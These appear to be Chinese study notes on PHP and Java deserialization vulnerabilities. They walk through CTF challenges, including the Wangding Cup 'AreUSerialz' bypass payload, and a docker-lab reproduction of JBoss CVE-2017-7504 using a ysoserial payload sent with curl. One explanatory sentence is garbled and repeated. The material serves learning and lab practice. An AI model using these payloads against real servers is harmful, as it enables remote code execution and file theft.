参考:https://www.cnblogs.com/zhengna/p/15661109.html
本文为学习,复现笔记,侵删

思维导图

文章目录

  • 思维导图
  • **知识点**
    • 【PHP 反序列化】
      • 序列化格式
    • 有类与无类
      • 1、有类 class
    • 魔术方法
      • 2、无类 不具有魔术方法
    • 利用
    • 危害
    • 等号判断
  • 本课重点案例:
    • 目录:
    • **案例1:PHP反序列化热身题-无类问题-本地**
      • 案例演示1:认识序列化
      • 案例演示2:本地实例
      • 有类本地测试:
        • 结果:
    • **案例2:CTF反序列化小真题-无类执行-实例**
    • **案例3:CTF反序列化练习题-有类魔术方法触发-本地**
      • 测试代码
    • **案例4:网鼎杯2020青龙大真题-有类魔术方法触发-实例**
      • 进入场景后,显示如下代码
      • 详细解析见博客:
      • 弱类型绕过
      • ascii绕过
    • 5.JBoss 4.x JBossMQ JMS 反序列化漏洞复现
  • JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
    • 漏洞环境
    • 漏洞复现
  • 【涉及资源】

知识点

【PHP 反序列化】

概念:序列化就是将对象转换成字符串,反序列化相反,数据的格式的转换对象的序列化利于对象的保存和传输,也可以让多个文件共享对象
原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。
在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
serialize() //将一个对象转换成一个字符串–序列化
unserialize() //将字符串还原成一个对象–反序列化

s:4:“myqf”;
参考:https://www.cnblogs.com/20175211lyz/p/11403397.html

序列化格式


图中最后应该为:i:19

O:4:"user":2:{s:3:"age";i:18;s:4:"name";s:4:"myqf";}

O代表对象;4代表对象名长度;2代表2个成员变量;

有类与无类

1、有类 class

 触发魔术方法
__construct()
__destruct()
__wakeup()
__toString()
......

魔术方法

触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法
参考:https://www.cnblogs.com/20175211lyz/p/11403397.html
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用 isset()或 empty()触发
__unset() //在不可访问的属性上使用 unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发

2、无类 不具有魔术方法

利用

1、真实应用 java环境
2、各种CTF比赛

危害

1、SQL注入
2、代码执行
3、目录遍历
4、…

等号判断

= 赋值
== 判断
===  全等于 数值和类型都要一样

本课重点案例:

目录:

  • 案例1:PHP反序列化热身题-无类问题-本地
  • 案例2:CTF反序列化小真题-无类执行-实例
  • 案例3:CTF反序列化练习题-有类魔术方法触发-本地
  • 案例4:网鼎杯2020青龙大真题-有类魔术方法触发-实例

案例1:PHP反序列化热身题-无类问题-本地

案例演示1:认识序列化

PHP在线执行:http://www.dooccn.com/php/

<?php
$a = array('a' => 'Apple' ,'b' => 'banana' , 'c' => 'Coconut');//序列化数组
$s = serialize($a);
echo $s;
//输出结果:a:3:{s:1:"a";s:5:"Apple";s:1:"b";s:6:"banana";s:1:"c";s:7:"Coconut";}
?>

案例演示2:本地实例

源码:test.php

<?php
error_reporting(0);
include "flag.php";
$KEY = "xiaodi";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{echo "$flag";
}
show_source(__FILE__);
?>

输入s:6:"xiaodi";成功拿到flag。

有类本地测试:

<?php
class FileHandler{public $op=2;
public $filename="flag.php";//文件开头调用的是 flag.php
public $content="myqf";
}
$flag = new FileHandler();
$flag1 = serialize($flag);
echo $flag1;
?>

结果:

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:4:"myqf";}

案例2:CTF反序列化小真题-无类执行-实例

Bugku CTF题目:https://ctf.bugku.com/challenges#flag.php
现在题目没了,看看思路
题目如下,提示hint

打开场景后,是个登录框

这个登录框没啥用,根据提示在url后面加?hint=111,系统返回源代码

审计源代码,发现反序列化漏洞。

漏洞利用:

<1>使用php在线执行工具,将key序列化

<2>构造请求,将序列化后的key放入cookie中,

<3>放行请求,发现并未返回flag。为什么呢?原因是源码这里有2个坑:

以下,将请求中的hint参数删除,并将cookie值改为序列化后的空值,放行请求,成功拿到flag。

案例3:CTF反序列化练习题-有类魔术方法触发-本地

测试代码

<?phpclass ABC{public $test;function __construct(){$test =1;echo '调用了构造函数<br>';}function __destruct(){echo '调用了析构函数<br>';}function __wakeup(){echo '调用了苏醒函数<br>';}
}
echo '创建对象a<br>';
$a = new ABC;
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser = unserialize($a_ser);
echo '对象快要死了!';?>

在线执行结果

运行结果调用2次析构函数因为析构函数是重新再创建一个对象地址

执行结果说明,

  • 创建对象时,会默认调用__construct()方法,
  • 反序列化时,会默认调用__wakeup()函数,
  • 对象被销毁时,会默认调用__destruct()函数

案例4:网鼎杯2020青龙大真题-有类魔术方法触发-实例

案例:2020-网鼎杯-青龙组-Web-AreUSerialz

地址:https://www.ctfhub.com/#/challenge

进入场景后,显示如下代码

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {protected $op;protected $filename;protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {  //弱类型判断,仅判断数值,op 赋值数字2或字符串' 2'也成立$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() { //析构函数,销毁类时执行,也就是在最后执行if($this->op === "2")  //强类型比较,判断数值+类型,可以使用数字2或字符串' 2'绕过判断$this->op = "1";$this->content = "";$this->process();}}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str); //反序列化,所以要先序列化。}}

首先由ctf命名及代码函数unserialize判断本题考察反序列化知识点

详细解析见博客:

https://www.codetd.com/pt/article/13603068
  • 第一:获取flag存储flag.php
  • 第二:两个魔术方法__destruct __construct
  • 第三:传输str参数数据后触发destruct,存在is_valid过滤
  • 第四:__destruct中会调用process,其中op=1写入及op=2读取
  • 第五:涉及对象FileHandler,变量opfilename,content,进行构造输出

涉及:反序列化魔术方法调用,弱类型绕过,ascii绕过

弱类型绕过

使用该类对flag进行读取,这里面能利用的只有__destruct函数(析构函数)。

__destruct函数中if(this−>op===“2”)代码,对op进行了=判断(强类型)并且op值为字符串2时会赋值为1,process函数中if(this−>op=“2”)代码,对op进行了=判断(强类型)并且op值为字符串2时会赋值为1,process函数中if(this->op == “2”)代码,使用判断(弱类型)(op值为2的情况下才能读取内容),
因此这里存在弱类型比较,可以使用数字2或字符串’ 2’绕过判断。

ascii绕过

is_valid函数还对序列化字符串进行了校验。
因为PHP序列化的时候,若成员被private和protected修饰,会引入不可见字符\x00,这些字符对应的ascii码为0,这是个ASCII不在32到125之间的字符,经过is_valid函数以后会返回false,导致无法执行到反序列函数。
经过测试,在PHP7.2+的环境中,使用public修饰成员并序列化,反序列化后成员也会被public覆盖修饰。因此可以改成public来绕过is_valid函数校验。

payload:

<?php
class FileHandler{public $op=' 2';//源码告诉我们op为1时执行写入,op为2时执行读取public $filename="flag.php";//文件开头调用的是flag.phppublic $content="xd";
}
$flag = new FileHandler();
$flag_1 = serialize($flag);
echo $flag_1;
?>

先序列化

传参,成功拿到flag。

5.JBoss 4.x JBossMQ JMS 反序列化漏洞复现

JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)

Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

参考:

  • https://github.com/joaomatosf/JavaDeserH2HC
  • https://www.youtube.com/watch?v=jVMr4eeJ2Po

漏洞环境

执行如下命令启动JBoss AS 4.0.5:

docker-compose up -d

环境启动后,目标为http://your-ip:8080

漏洞复现

该漏洞出现在/jbossmq-httpil/HTTPServerILServlet请求中,我们借助ysoserial的eCommonsCollections5利用链来复现。生成Payload:

java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "touch /tmp/success" > 1.ser

我们将1.ser文件内容作为POST Body发送:

curl http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @1.ser

执行docker-compose exec jboss bash进入容器,可见/tmp/success已成功创建。

【涉及资源】

https://www.ctfhub.com/#/challenge ctf网鼎杯反序列化题目
https://www.cnblogs.com/20175211lyz/p/11403397.html PHP反序列化基本知识

37:WEB漏洞-反序列化之PHPJAVA全解(上)相关推荐

  1. js系列教程7-DOM操作全解

    全栈工程师开发手册 (作者:栾鹏) 快捷链接: js系列教程1-数组操作全解 js系列教程2-对象和属性全解 js系列教程3-字符串和正则全解 js系列教程4-函数与参数全解 js系列教程5-容器和算 ...

  2. python 小学生教材全解_小学六年级教材全解

    <小学教材全解>丛书自2006年问世以来,备受广大师生的呵护与厚爱.历经多年的精心打造,日趋成熟,赢得了全国教育专家和老师.家长.同学的认可和好评,现在已经成为大家非常喜爱的学习用书. ¥ ...

  3. 如何在MAC上安装并运行Web漏洞扫描器Arachni

    如何在MAC上安装并运行Web漏洞扫描器Arachni 如何在MAC上安装并运行Web漏洞扫描器Arachni1如何在MAC上安装并运行Web漏洞扫描器Arachni2如何在MAC上安装并运行Web漏 ...

  4. 文件上传漏洞 (上传知识点、题型总结大全-upload靶场全解)

    文件上传漏洞 什么是文件上传漏洞 什么是webshell 一句话木马大全 产生文件上传漏洞的原因 文件上传漏洞的攻击与防御方式 1.前端限制 2.检查扩展名 1.黑名单策略, 2.白名单策略 3.检查 ...

  5. web漏洞(CSRF-SSRF-文件包含-文件解释-文件下载-目录遍历-sql注入-文件上传-反序列化-XSS-XXE-RCE-逻辑越权)

    1.CSRF(跨站请求伪造)(需要对方是在登录的情况下)--主要用于骗转账等等 原理:A在已经登录了银行的网站,并且此时去访问了B所构造的网页添加了特殊代码,A点击了B,由于A已经登录了,就造成了A直 ...

  6. PHP漏洞全解(一)-PHP网站的安全性问题

    针对PHP的网站主要存在下面几种攻击方式: 1.命令注入(Command Injection) 2.eval注入(Eval Injection) 3.客户端脚本攻击(Script Insertion) ...

  7. 跨行合并居中html标记语言,[前端Web]HTML语法最全解-建议收藏

    原标题:[前端Web]HTML语法最全解-建议收藏 1. 标签全解 1.1 文件标记 作用:文档声明标签.定义该文档是html5的文档,位于标签前面 详解: HTML总共有很多的版本,那么浏览器怎么知 ...

  8. 点击部分刷新html ajax,一文全解web前端精简知识点

    Web 前端知识体系精简介绍,让你学web前端轻松容易,让你选择web前端更轻松容易! Never give up on something you really want. It's difficu ...

  9. Web漏洞扫描工具(批量脱壳、反序列化、CMS)

    一.什么是Web漏洞扫描工具 即是指"扫描Web应用以查找安全漏洞(如跨站脚本,SQL注入,命令执行,目录遍历和不安全服务器配置)的自动化工具",其中许多可能是由不安全或不正确的编 ...

最新文章

  1. 吴裕雄--天生自然 JAVASCRIPT开发学习:DOM EventListener
  2. 3.Servlet(二)
  3. IDEA中PlantUML的使用
  4. 规模 300+ 的研发团队,怎样保持工程高质高效?
  5. kepware怎么读modbus/tcp数据_多机房多活架构,究竟怎么玩?
  6. 用lua扩展你的Nginx(写的非常好)
  7. 上传文件到云服务器存储路径,上传文件到云服务器存储路径
  8. 什么是跨域(定义理解错误)
  9. Windows中木马之后桌面被篡改的恢复方法
  10. 力扣150-逆波兰表达式求值(C++,附思路)
  11. SpaceX和美国宇航局计划明年4月向国际空间站发射Crew-4
  12. 验证码类库CaptchaMvc
  13. 阶段2 JavaWeb+黑马旅游网_15-Maven基础_第5节 使用骨架创建maven的java工程_18maven的java工程取mysql数据库...
  14. 第一次写oracle SQL 两个表链接查询
  15. setTimeout 方法用于在指定的毫秒数后调用函数或计算表达式
  16. 精英主义 遗传算法 matlab,遗传算法matlab程序
  17. 洛谷每日三题之第四天
  18. VMware虚拟机不能识别U盘
  19. 在word中doc与docx的区别是什么(整理)
  20. js打印页面指定区域内容

热门文章

  1. 学习和掌握python
  2. “Linux之父”Linus 获颁英特尔首个终身创新成就奖
  3. Kubernetes基础:资源扩缩容方法(Replication Controller)
  4. DataWhale组队数据分析学习 -- 第三章模型建立评估
  5. hhsjdhjaskld
  6. html表格开始的标记是什么,在html代码中表示表格行的标记是什么
  7. interrupt java_java – interrupt()不起作用
  8. 交易是否是零和游戏?
  9. Vue table表格模板
  10. 几个必备的蹭网软件介绍